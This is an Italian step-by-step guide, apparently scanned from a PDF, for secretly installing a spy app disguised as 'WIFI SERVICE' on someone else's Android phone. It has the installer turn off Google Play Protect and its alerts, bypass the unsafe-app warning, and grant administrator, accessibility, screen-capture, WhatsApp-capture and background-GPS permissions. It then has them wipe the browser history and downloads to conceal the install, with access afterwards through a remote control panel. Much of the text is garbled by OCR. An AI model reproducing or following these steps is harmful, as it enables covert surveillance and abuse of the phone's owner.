INSTALLAZIONE GENERICA PER CELLULARI ANDROID

Per installare I'app sul cellulare da monitorare procedere come segue:

Attivare le sorgenti sconosciute (Fino ad Android 7)

Per poter installare I'applicazione € necessario verificare che sia attiva la funzione "Sorgenti sconosciute".
Per fare cio:

Aprire impostazioni ==> Selezionare "Schermata blocco e sicurezza" ==> Attivare "Sorgenti sconosciute"

IMPOSTAZIONI SCHERM. BLOCCO E SICUREZZA

Funzioni avanzate Impronte digitali

Samsung Pass

Manutenzione dispositivo

Applicazioni Trova dispositivo personale

Sfondi e temi
Sorgenti sconosciute
Scherm. blocco e sicurezza
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Awvio protetto
Google
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Accessibilita

Altre impostazioni di sicurezza

Attivare le sorgenti sconosciute (da Android 8 in poi)

Dopo aver scaricato l'applicazione e necessario abilitare al fine di permetterne l'installazione da sorgenti
sconosciute per il browser (Esempio Google Chrome)

Impostazioni ==> Chrome ==> Attivare
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Disattivare Google Play Protect

Aprire Google Play Store ' ==> Premere l'icona del proflio presente in alto a destra ==> Premere Play
Protect ==> Disattivare "Analizza le app con Play Protect " e "Migliora il rilevamento di app dannose"
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Disabilitare le notifiche per Google Play Store
Impostazioni ==> App ==> Google Play Store ==> Notifiche ==> Disabilitare Aggiornamenti disponibili,
Aggiornamenti completati, Manutenzione, Sicurezza ed errori
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Sicurezza ed errori

IMPORTANTE: Disattivare Google Play Protect Popup (ove possibile)
Aprire Play Store ==> Premere "Le mie app e i miei giochi" ==> Disattivare il popup che ricorda di attivare

Google Play Protect
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Se non trovate la sequenza sopra esposta, potete effettuare i passaggi
seguenti:

Per disattivare le notifiche di playprotect e di Google play procedere come
segue: Impostazioni ==> App ==> Google Play Store ==> Notifiche ==>
Disabilitare soltanto Aggiornamenti disponibili, Aggiornamenti completati,
Manutenzione, Sicurezza ed errori

Poi andate su IMPOSTAZIONI =» APPLICAZIONI =» cercate GOOGLE PLAY
SERVICE =» Cliccateci sopra = cercate NOTIFICHE e disattivate Mostra
Notifiche

Poi andare su IMPOSTAZIONI poi su APPLICAZIONI, poi cliccare i tre pallini in
alto a destra e cliccare su MOSTRA APP DI SISTEMA, cercate I'app chiamata
PROTEZIONE e cliccate su ARRESTO FORZATO

Scaricare L’App Spia

Adesso potete scaricare I'Apk dell'applicazione direttamente sul cellulare da monitorare ed effettuare
I'installazione sempre nel telefono che si vuole monitorare, aprire quindi Chrome — nuova scheda in

incognito —in alto al rigo digitare il link sottostante:

bit.ly/2pannello
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vi apparira la schermata di seguito riportata, digitate quindi i numeri che vi compariranno sul display del
cellulare (attenzione cambiano ogni volta) questi numeri non vi serviranno pilu durante l'installazione,
servono solo per il download



Download Application

Can't read the image? click here to refresh

(O 1 agree to the Terms and Conditions

Cliccate su download per scaricare I'app sul cellulare monitorato anche se anche se vi apparira la dicitura
“vuoi comunque scaricare 2pannello” cliccare dunque su “Scarica comunque”
Installazione APP SPIA
Aprite quindi il file appena scaricato. L'installazione € automatica, in pratica c’é@ una schermata chiamata
dell’installazione che non ¢ altro una “lista delle cose da fare” vi bastera cliccare sulle varie cose da fare e
guando verranno eseguite apparira un segno di spunta, procedere quindi al passaggio sucecssivo:

1. Aprireil file 2p oppure 2pannello appena scaricato;

2. Premere "Installa" per procedere con l'installazione dell’app spia sul cellulare da monitorare. La

procedura d’installazione vi chiedera “vuoi installare questa app”? Cliccate su OK;
3. Sevidovesse apparire la schermata sotto riportata cioé “app non sicura bloccata” & segno che
g

non avete disattivato Google Play Protect, cliccare in questo caso la dicitura “scopri di piu” oppure
su “altri dettagli” e successivamente su “installa comunque” e procedere

© Google Play Protect

App non sicura bloccata

WIFI SERVICE

Play Protect non riconosce Io sviluppatore
di questa app. A volte le app di
sviluppatori sconosciuti potrebbero non
essere sicure.

Se installi questa app potresti mettere a
rischio il dispositivo. Scopri di pil su Play
Protect

Installa comunque ;

oK

4. Accettare le condizioni e premere Continua per proseguire;

5. Premere quindi "Consenti" per tutte le richieste di autorizzazione richieste dall’installazione e
attivare quando viene chiesto il GPS;

6. Siete adesso sulla schermata dell’installazione, cliccate quindi su tutti i quadratini per attivare
tutte le funzioni di monitoraggio che I’app vi presentera una per una;



7. Cliccare su "Amministratore dispositivo" per rendere I'app amministratore;

8. Cliccare su "Attiva" per attivare I'app come amministratore;

9. Cliccare su "Cattura Schermo" cliccare su "non mostrare piu" e successivamente su "Avvia
adesso”;

10. Alcuni telefoni come XIAOMI potrebbero avere la casella invisibile. Premere nel punto indicato

For best performance, complete below settings.

Device admin

able device adm

Screen Capture Permission

< "Donlt sh ,and s

WIFI SERVICE will start
capturing everything that's
displayed on your screen.

11. Premere "Lista Bianca dell’ottimizzazione" cliccare quindi "Si" oppure “consenti”:

12. Solo per cellulari XIAOMI se appare la schermata “risparmio energetico” cliccare su risparmia
energia poi WIFI SERVICE e successivamente su nessuna restrizione tornare quindi
all’installazione

13. Quando cliccherete sulla dicitura “cattura messaggistica whastapp” sarete portati su una
schermata (quella dell’ACCESSIBILITA’) dove in basso troverete “app oppure servizi installati”,
cliccate 1 volta sulla voce WIFI SERVICE. attenzione sulle versioni android dalla 12 in poi, la voce
WIFI SERVICE risulta non cliccabile quindi procedere come segue:

- cliccateci ugualmente sopra;
- successivamente cliccate in fondo alla pagina sul tasto funzione “centrale” com| |foto



15.

in questo modo avrete sospeso I'installazione;

andate adesso in impostazioni del cellulare;

cercate applicazioni o app installate;
cercate WIFI SERVICE (in fondo alla pagina) e cliccateci sopra;
si aprira la schermata di seguito riportata cliccate quindi sui 3 punti in alto a destra

Consentl impostazioni con limitazioni ‘ ‘

Informazioni app

WIFI SERVICE

4} 8 A

Apei Disinstalls  Forza interruzione

Notifiche

0 notifiche alla settimana

Autorizzazioni
Calendario, Contatti, Dispositvi nelie vicinanze, Fie, Foto.

Spazio di archiviazione e cache

7.09 M8 utiizzati nells memoria interna

Dati mobili e Wi-Fi

ssun utizzo dati

Tempo di utilizzo
Oggk 12 minuti

‘ Batteria — '

- Vi apparira la dicitura (sempre in alto) “consenti impostazioni con
limitazioni”, cliccateci sopra;

- Non appena fatto questo passaggio andate su Impostazioni del
telefono e cercate il menu “ACCESSIBILITA” cercate servizi installati o
app installate, cliccateci sopra, cercate WIFI SERVICE che a questo
punto sara cliccabile e attivatelo.

14. Per riprendere I'installazione andiamo alla ricerca

dell’installazione sospesa, cercate quindi il simbolo android nelle schermate del

cellulare (robottino verde con la scritta 2P vedasi foto a destra) e cliccarci sopra si

aprira nuovamente l'installazione che avevate lasciato in sospeso, una volta aperta

continuate a mettere i segni di spunta su tutte le altre voci.

Su alcuni modelli XIAOMI scorrere in fono alla stessa schermata e cliccare su “consenti le

impostazioni limitate” tornare quindi alla schermata installazione



16. Premere "Notification remover" attivare o abilitare WIFI SERVICE

17. Solo per cellulari HUAWEI/HONOR sulla schermata dell’installazione attivare abilita collegamento
accessibilita selezionare su seleziona funzioni e scegliere WIFI SERVICE

18. Premere "Uso dell’applicazione" e attivare "WIFI SERVICE"

19. Cliccare sulla schermata installazione la voce “scrivi sopra altre app” oppure “scrivi su altre app”
e attivare WIFI SERVICE da questo menu, tornare quindi alla schermata installazione;

20. Cliccare sulla schermata installazione la voce “consenti utilizzo in background” questo potrebbe
avvenire anche in maniera automatica in base al modello;

21. Solo per cellulari XIAOMI cliccare su "Concedi a tutti i permessi extra" attivare quindi tutti i
permessi, tornare quindi alla schermata installazione

22. Solo per cellulari XIAOMI/HUAWEI cliccare sulla schermata installazione la voce "Abilita avvio
automatico" e abilitare quindi la voce WIFI SERVICE

Registrazione dell'account
Per nuova installazione usare "sono un nuovo utente" per reinstallazione o trasferimento account usare
"sono un utente registrato" ed inserire le credenziali della prima installazione
Dopo aver abilitato tutte le funzioni del pannello cliccare su "Continua"
Cliccare quindi su "sono nuovo utente" se siete “nuovi clienti” in questo modo sara creato il vostro
account, inserire quindi la vostra email e digitate una password di vostro piacimento (facile per non
sbagliare), confermate la password sul secondo rigo;

Se siete invece “vecchi clienti” oppure volte installare I’app spia su un secondo telefono oppure state
semplicemente reinstallando I’app spia, cliccate sulla scelta “sono un utente registrato” inserire quindi la
vostra email e la password avendo cura di non sbagliare;

Cliccare quindi su “continua” per proseguire con l'installazione del programma

Se dovesse apparire a questo punto una schermata con la dicitura “consentire all’app WIFI SERVICE di
inviarti notifiche” cliccare su “non consentire”

Adesso facciamo un po' di pulizia, cancellate la cronologia della navigazione internet per Chrome ad
esempio cliccare sui tre pallini in alto a destra CRONOLOGIA poi CANCELLA DATI DI NAVIGAZIONE poi
CANCELLA DATI

Controllare quindi I'archivio dei download e vedere se & presente I'app scaricata 2p oppure 2pannello e
eliminatela ma solo dai download!

ISTRUZIONI PER EVENTUALE DISINSTALLAZIONE IN ULTIMA PAGINA

Si ricorda nel caso in cui dovrete reinstallare I'app per qualsiasi motivo, di disinstallare la vecchia e
reinstallare la nuova.

ATTENZIONE!!!

L'INSTALLAZIONE NON € ANCORA TERMINATA Adesso in base al sistema operativo in dotazione al
cellulare monitorato applicate le istruzioni di seguito elencate

Come capire la versione Android del telefono

Per conoscere la versione di Android effettuare i seguenti passaggi:
Impostazioni ==> Info sul telefono ==> Versione di Android
In base alla versione installata sul telefono procedete con le seguenti istruzioni



1) Impostazion @ ==> App ==> Gestione app ==> WIHR/ICE==> Inserire la password
==> Utilizzo batteria

Consenti attivita in primo piano: Attivare
Consenti attivita sullo sfondo: Attivare
Consenti l'avvio automatico: Attivare

2) Impostazioni ==> Batteria ==> Modalita risparneioergetico ==> Modalita risparmio
energetico ==> Disattiva

3) Impostazioni ==> Batteria ==> Modalita risparneinergetico ==> Modalita super risparmio
energetico ==>Disattiva

Impostazioni ==> Batteria ==> Modalita risparmiceegetico ==> Ottimizzazioni predefinite ==>
Disattiva la sincronizzazione in background ==>diisa

4) Impostazioni ==> Batteria ==> Altre impostaziem> Ottimizzazione modalita standby ==>
Disattiva

5) Impostazioni ==> Batteria ==> Altre impostaziem> Ottimizza I'uso della batteria ==>WIFI
SERVICE ==> Non ottimizzare

6) Strumenti ==> Gestione telefono ==> Tre puntk3dmpostazioni ==> Disattiva o seleziona mai

1) Impostazion e ==> App ==> Gestione app ==> WIHR/ICE==> Inserire la password
==> Utilizzo batteria

Consenti attivita in primo piano: Attivare
Consenti attivita sullo sfondo: Attivare

Consenti l'avvio automatico: Attivare



2) Impostazioni ==> Batteria ==> Modalita supepesmio energetico ==>Disattiva
3) Impostazioni ==> Batteria ==> Modalita risparngioergetico ==> Disattiva

4) Impostazioni ==> Batteria ==> Impostazioni avaitez==> Ottimizzazione modalita standby
==> Disattiva

5) Impostazioni ==> Batteria ==> Impostazioni avatez==> Ottimizza I'uso della batteria
==>WIFI SERVICE ==> Non ottimizzare

6) Strumenti ==> Gestione telefono ==> Tre puntradmpostazioni ==> Controllo automatico,
Pulizia automatica della memoria e Aggiornamentomatico ==> Disattiva

Oppo Android 11

« Impostazioni => Scheda SIM e dati mobili => Utilizdati => Autorizzazioni di rete =>
«Wi-Fi SERVICE» => Seleziona 'Wi-Fi e dati mobili’

« Impostazioni => Scheda SIM e dati mobili => Utilizdati => Risparmio dati => Disattiva
Turn

« Impostazioni => Batteria => Modalita risparmio egetico => Spegni

- Impostazioni => Batteria => Modalita super rispasranergetico => Spegni

- Impostazioni => Batteria => Altre impostazioni @ebatteria => Ottimizza l'utilizzo della
batteria => «Wi-Fi SERVICE» => Non ottimizzare

- Impostazioni => Batteria => Altre impostazioni @gebatteria => Ottimizzazione standby del
sonno => Spegni

« Impostazioni => Gestione app => Elenco app => «<WSHERVICE» => Dettagli utilizzo
dati => Disattiva dati mobili e Disattiva Wi-Fi =Disattiva

- Impostazioni => Gestione app => Elenco app => «<WSHERVICE» => Dettagli utilizzo
dati => Dati in background => Attiva

- Impostazioni => Gestione app => Elenco app => «<WSHERVICE» => Utilizzo batteria =>
Consenti attivita in primo piano => Attiva

- Impostazioni => Gestione app => Elenco app => «<WHERVICE» => Utilizzo batteria =>
Consenti attivita in background => Attiva

- Impostazioni => Gestione app => Elenco app => «<WHERVICE» => Utilizzo batteria =>
Consenti avvio automatico => Attiva

« Impostazioni => Gestione app => Elenco app => «<WHERVICE»

o Permessi => Consenti tutto
o Permessi => Posizione => Consenti sempre



Oppo Android 10

Per conoscere la versione di Android effettuaegguenti passaggi:

Impostazioni ==> Info sul telefono ==> VersioneAtidroid

Impostazioni ==> Sim Card e Dati cellulare ==> (3tib dati ==> WIFI SERVICE ==> Permessi
rete ==> Selezionare Wifi e Dati mobili

Impostazioni ==> Sim Card e Dati cellulare ==> 3tib dati ==> Risparmio dati ==> Disattiva
Impostazioni ==> Sicurezza ==> Permessi ==> Apps ¥FI SERVICE ==> Tutto On
Impostazioni ==> Batteria ==> Efficienza energetcger elevata ==> Off

Impostazioni ==> Batteria ==> Risparmio batteriteliigente ==> Off

Impostazioni ==> Batteria ==> Opzioni di risparn@pnergia ==> Modalita sospensione ==> Off

Impostazioni ==> Gestione App ==> WIFI SERVICE =Stato utilizzo dati ==> Disabilita
utilizzo dati e wifi ==> Off

Impostazioni ==> Gestione App ==> WIFI SERVICE =Stato utilizzo dati ==> Utilizzo dati in
background ==> On

Impostazioni ==> Gestione App ==> WIFI SERVICE =R¥sparmio energetico ==> Funziona in
background ==> On

Impostazioni ==> Gestione App ==> WIFI SERVICE =Permessi App ==> Tutto On
Impostazioni ==> Gestione App ==> WIFI SERVICE =E»nsenti Avvio automatico ==> On

Impostazioni ==> Gestione App ==> WIFI SERVICE =€E»nsenti I'esecuzione sullo sfondo ==>
On

Impostazioni ==> Altre impostazioni ==> Dispositiegprivacy ==> Localizzazione ==> App che
usano il gps in background ==> WIFI SERVICE ==> On

Oppo Android 9

Impostazioni ==> Dual Sim e telefono ==> Uso wifilati App ==> WIFI SERVICE ==>
Selezionare Wifi e Dati mobili



Impostazioni ==> Dual Sim e telefono ==> Risparmaii ==> Disattiva

Impostazioni ==> Sicurezza ==> Autorizzazioni ==pps ==> WIFI SERVICE ==> Tutto On
Impostazioni ==> Batteria ==> Modalita risparmiceegetico ==> Off

Impostazioni ==> Batteria ==> Risparmio energetigelligente ==> Off

Impostazioni ==> Batteria ==> Opzioni risparmio egetico ==> Modalita sospensione ==> Off

Impostazioni ==> Gestione App ==> WIFI SERVICE =Stato utilizzo dati ==> Permessi di rete
==> Selezionare Dati mobili e Wifi

Impostazioni ==> Gestione App ==> WIFI SERVICE =Stato utilizzo dati ==> Utilizzo dati in
background ==> On

Impostazioni ==> Gestione App ==> WIFI SERVICE =Permessi App ==> Tutto On

Impostazioni ==> Gestione App ==> WIFI SERVICE =Risparmio energetico ==> Funziona in
background ==> On

Impostazioni ==> Gestione App ==> WIFI SERVICE =Awvio automatico ==> On

Impostazioni ==> Gestione App ==> WIFI SERVICE =€E»nsenti I'esecuzione sullo sfondo ==>
On

Impostazioni ==> Altre impostazioni ==> Dispositiegprivacy ==> Localizzazione ==> App che
usano il gps in background ==> WIFI SERVICE ==> On

Oppo Android 8

Impostazioni ==> Dual Sim e telefono ==> Uso wifilati App ==> WIFI SERVICE ==> Service
==> Selezionare Wifi e Dati mobili

Impostazioni ==> Sicurezza ==> Permessi ==> Apps ¥4FI SERVICE ==> Tutto On
Impostazioni ==> Batteria ==> Risparmio energetice> Off

Impostazioni ==> Batteria ==> Risparmio energetise> WIFI SERVICE ==> Blocca in
background ==> Off

Impostazioni ==> Batteria ==> Risparmio energetise> WIFI SERVICE ==> Ottimizza App con
problemi ==> Off

Impostazioni ==> Batteria ==> Risparmio energetice> WIFI SERVICE ==> Doze ==> Off

Impostazioni ==> Gestione App ==> WIFI SERVICE =Permessi App ==> Tutto On



Impostazioni ==> Gestione App ==> WIFI SERVICE =Risparmio energetico ==> Funziona in
background ==> On

Impostazioni ==> Gestione App ==> WIFI SERVICE =E»nsenti Avvio automatico ==> On

Impostazioni ==> Gestione App ==> WIFI SERVICE =€E»nsenti I'esecuzione sullo sfondo ==>
On

Impostazioni ==> Gestione App ==> WIFI SERVICE =€»nsenti visualizzazione Area
Notch==> On

Impostazioni ==> Altre impostazioni ==> Dispositiegorivacy ==> Localizzazione ==> App che
usano il gps in background ==> WIFI SERVICE ==> On

Oppo Android 7

Impostazioni ==> Batteria ==> Basso consumo batterRisparmio energetico ==> Off

Impostazioni ==> Batteria ==> Risparmio energetise> WIFI SERVICE ==> Blocca in
background ==> Off

Impostazioni ==> Batteria ==> Risparmio energetise> WIFI SERVICE ==> Ottimizza App con
problemi ==> Off

Impostazioni ==> Batteria ==> Risparmio energetice> WIFI SERVICE ==> Doze ==> Off

Impostazioni ==> Dual Sim e telefono ==> Uso wifilati App ==> WIFI SERVICE ==> Service
==> Selezionare Wifi e Dati mobili

Impostazioni ==> Altre impostazioni ==> Gestiongap=> Installate ==> WIFI SERVICE ==>
Permessi ==> Tutto On

Impostazoni ==> Sicurezza ==> Frequenza auto disigro> Off
Impostazioni ==> Sicurezza ==> Homesreen AccelenaBiall ==> Off

Sicurezza ==> Permessi Privacy ==> Gestione avvi WIFI SERVICE ==> On

Login al pannello di controllo



Grazie all'indirizzo email, impostato durante l'installazione e con la password da voi scelta
successivamente potrete effettuare I'accesso al paatio di controllo personale:

Prendete un altro cellulare rispetto al monitorato;

Aprite il browser Google Chrome oppure Firefox;

Digitate http://2pannello.com/

Digitate sul primo rigo la mail utilizzata durargefase installazione;
Digitate sul secondo rigo la password da voi scelta

Disinstallazione dell’APP SPIA

1. Per disinstallare il programma seguire queste amii:

Impostazioni ==> Applicazione ==> Gestione Applicaa oppure ==> APP ==> Cercare Il
programma "WIFI SERVICE" ==> Premere "disinstalla"

Se visualizzate un awviso € necessarserire la password utilizzata in fase di
installazione al momento della creazione dell'account.

2. Nel caso in cui non si riesce a disattivare la t€zione alla disinstallazione" e necessario
disattivare WIFI SERVICE nel menu amministratorédispositivo. Il percorso varia in
base al dispositivo.

Per far prima recatevi sulle impostazioni e suflagdla di ricerca scrivere amm oppure
amministratore oppure amministrazione e cliccareesna. Vi verra mostrata la schermata
delle app che hanno accesso alla parte amministrazdisattivare o disabilitare la funzione
WIFI SERVICE e ripetete la parte disinstallaziomsctitta al punto 1

Apps

WIFI SERVICE

Disinstalla ==> Scrivere la password dell'account gr disinstallare



